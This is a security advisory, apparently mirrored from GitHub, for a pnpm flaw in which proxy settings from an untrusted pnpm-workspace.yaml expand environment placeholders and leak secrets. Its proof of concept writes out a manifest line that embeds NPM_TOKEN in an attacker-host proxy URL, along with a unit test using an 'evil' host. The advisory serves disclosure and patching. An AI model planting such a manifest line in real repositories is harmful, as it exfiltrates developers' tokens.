GHSA-VX52-2968-3VC6
Vulnerability from github – Published: 2026-09-01 19:22 – Updated: 2026-09-01 19:22Summary
pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.
This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.
Impact
An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.
This turns "I can author a project manifest" into "I read the victim's environment secrets."
Affected versions
Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.
- pnpm 11.x:
>= 11.0.0, < 11.11.0 - pnpm 10.x:
>= 10.7.0, < 10.34.5
The Rust port (pacquet) and the registry server (pnpr) are not affected.
Patches
- pnpm 11.11.0 and later
- pnpm 10.34.5 and later
The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.
Workarounds
Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.
Proof of concept
# pnpm-workspace.yaml in an untrusted repository
packages:
- .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"
With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.
Unit level:
process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched: o.httpsProxy === undefined
Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.
Credit
Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.11.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "10.7.0"
},
{
"fixed": "10.34.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-201",
"CWE-319",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T19:22:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\npnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project\u0027s `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds \u2014 and thereby exfiltrates \u2014 an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.\n\nThis bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.\n\n## Impact\n\nAn attacker who controls only the contents of a repository\u0027s `pnpm-workspace.yaml` \u2014 a public repo, a fork, or a supply-chain pull request \u2014 can read many values out of the victim\u0027s process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim\u0027s store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.\n\nThis turns \"I can author a project manifest\" into \"I read the victim\u0027s environment secrets.\"\n\n## Affected versions\n\nIntroduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.\n\n- pnpm 11.x: `\u003e= 11.0.0, \u003c 11.11.0`\n- pnpm 10.x: `\u003e= 10.7.0, \u003c 10.34.5`\n\nThe Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.\n\n## Patches\n\n- **pnpm 11.11.0** and later\n- **pnpm 10.34.5** and later\n\nThe fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded \u2014 matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader\u0027s `isRequestDestinationValueKey`. Regression tests cover the proxy keys.\n\n## Workarounds\n\nUpgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository\u0027s `pnpm-workspace.yaml` for proxy settings before installing.\n\n## Proof of concept\n\n```yaml\n# pnpm-workspace.yaml in an untrusted repository\npackages:\n - .\nhttpsProxy: \"http://${NPM_TOKEN}.collector.attacker.example.com:8080\"\n```\n\nWith `NPM_TOKEN` set in the victim\u0027s environment, `pnpm install` expands the placeholder and routes install traffic through the attacker\u0027s host, whose hostname (and DNS query) carries the token.\n\nUnit level:\n\n```js\nprocess.env.PNPM_TEST_TOKEN = \u0027secret\u0027\nconst o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: \u0027http://${PNPM_TEST_TOKEN}.evil/\u0027 })\n// Vulnerable: o.httpsProxy === \u0027http://secret.evil/\u0027\n// Patched: o.httpsProxy === undefined\n```\n\nUsing `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version \u2014 those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.\n\n## Credit\n\nReported privately. A second finding in the original report \u2014 the `Authorization` header being retained across a same-host `https` -\u003e `http` redirect \u2014 was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.",
"id": "GHSA-vx52-2968-3vc6",
"modified": "2026-09-01T19:22:43Z",
"published": "2026-09-01T19:22:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/pull/12871"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/pull/12898"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba"
},
{
"type": "WEB",
"url": "https://github.com/orgs/pnpm/discussions/13598"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.34.5"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v11.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.